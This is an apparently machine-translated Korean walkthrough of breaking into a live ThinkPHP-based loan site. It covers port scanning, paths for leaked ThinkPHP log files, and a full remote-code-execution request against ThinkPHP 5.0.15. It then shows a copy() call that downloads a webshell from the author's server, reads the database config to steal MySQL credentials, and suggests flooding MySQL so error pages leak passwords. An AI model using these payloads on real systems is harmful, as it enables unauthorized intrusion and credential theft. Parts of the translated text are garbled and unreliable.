다음 thinkphp 프레임워크 튜토리얼 칼럼에서는 ThinkPHP 프레임워크의 실제적인 침투 방법을 공유하겠습니다. 도움이 필요한 친구들에게 도움이 되기를 바랍니다!
웹사이트 http://x.x.x.x/를 찾아 침투를 시작하세요
먼저 nmap을 사용하여 피해자 서버에 열려 있는 포트를 스캔하고 감지합니다
다음과 같이 열려 있는 포트를 확인할 수 있습니다
포트는 컴퓨터 통신에서 해당 애플리케이션의 고유 식별 ID입니다. 포트를 통해 피해자 서버에서 어떤 서비스가 열려 있는지 알 수 있습니다.
예를 들어 3306은 mysql이고 다음으로 외부 연결이 활성화됩니다. 포트 액세스가 열려 있는지 확인하세요. 어떤 서비스
8080이 PHP 연결 mysql 도구인 phpmyadmin을 열었는지 확인하세요. 이를 사용하여 mysql 비밀번호를 해독할 수 있습니다
8082는 대출 홈페이지입니다
그냥 존재하지 않는 경로를 입력하고 http: //x.x.x.x/gfvhf
와 같은 오류 메시지를 확인하세요. 성공적으로 보고된 오류: Thinkphp 프레임워크 버전은 5.1.7입니다(이 버전에는 주입 취약점이 있습니다)
8084는 계속 수집할 배경입니다
8092는 배경입니다. 불규칙한 배포로 인해 thinkphp 로그가 유출될 수 있습니다. http://x.x.x.x:8092/runtime/log/202112/19.log 경로는 다음과 같습니다. 관리자가 로그인한 계정과 비밀번호를 확인하는데 사용됩니다.
여기서는 thinkphp 프레임워크를 사용한 블랙 제품에 대해 이야기합니다. 운영 및 유지 관리가 절반만 이루어지기 때문에 thinkphp 로그가 유출될 가능성이 매우 높습니다
tp5-6 페이로드: 도메인 이름/runtime/log/202112/ 19.log (다음 202112/19.log는 현재 날짜 변경 기준입니다.)
tp3 페이로드: 도메인 이름/Application/Runtime/Logs/Home/21_12_19.log (다음 21_12_19.log 기준은 다음과 같습니다. 현재 날짜 변경)
8083 포트에서 사용하는 thinkphp 버전은 5.0.15 입니다. 5.0.15 버전의 활용 조건은 low-key이고 소프트한 편입니다
버프를 오픈한 후 패킷 캡처를 사용하고 데이터 패킷을 버프의 리피터 모듈로 전달한다. 다음으로 캡처된 패킷 내용을 다음 내용으로 대체한다
취약점의 원리는 다음과 같다. PHP 아키텍처 계층에서는 이를 이해할 수 없기 때문에 자세히 설명하지 않습니다. 간략한 설명은 변수 덮어쓰기로 인해 코드 실행이 발생한다는 것입니다. thinkphp5 취약점 PoC에 대해서는 https://y4er.com/post/thinkphp5-rce/
다음 패킷의 내용은 취약점을 유발하고 허용하는 것입니다. phpinfo()를 실행하는 서버
POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g Content-Type:application/x-www-form-urlencoded Content-Length: 77 _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
성공적으로 PHP
셸 작성을 시작하고 요청 헤더를 다음으로 바꾸세요.
POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1
원격 셸 파일 http://x.x.x.x를 다운로드한다는 뜻입니다. 내 서버의 /2.txt. 현재 웹 디렉토리의 t2.php에 쓰기
그런데 t2.php에 접속하면 404가 뜨는데, 현재 디렉토리에 쓰기 권한이 없는 줄 알았어요
그래서 쓰기를 하려고 합니다. 권한:
POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1
아직도 쉘을 작성할 수 없고 PHP 권한이 매우 제한되어 있습니다. 낮음.
데이터베이스 구성 파일을 읽으려면 chmod('./',0777)를 readfile('../application/database.php')로 바꾸세요. mysql 계정 비밀번호를 성공적으로 획득한 것으로 확인되었습니다.
이전에 발견한 phpmyadmin 서비스를 사용하여 로그인한 다음 mysql을 사용하여 외부 연결을 엽니다.
mysql 관리 도구를 사용하여 여러 데이터베이스를 연결하고 검색합니다. 그리고 mysql은 직접적으로 루트 권한을 가지며, 서버에서 권한 상승(인트라넷 측면 침투) 등을 수행할 수 있습니다. 어쨌든 외부 네트워크에 구멍이 생겼으니 여기서는 깊이 들어가지 않겠습니다.
제가 직접 알아낸 몇 가지 아이디어를 요약하자면: thinkphp가 디버그 모드를 켤 때, 서버가 데이터베이스 외부 연결을 켤 때, mysql 서비스를 폭파하여 대량의 요청을 보낼 수 있습니다(Let mysql block ), thinkphp가 mysql에 연결되고 시간 초과가 발생합니다. 연결 예외 오류가 보고되고 mysql 계정 비밀번호가 페이지에 출력됩니다.
추천 학습: "thinkphp 비디오 튜토리얼"
위 내용은 ThinkPHP 프레임워크의 실제적인 침투를 기억하세요의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!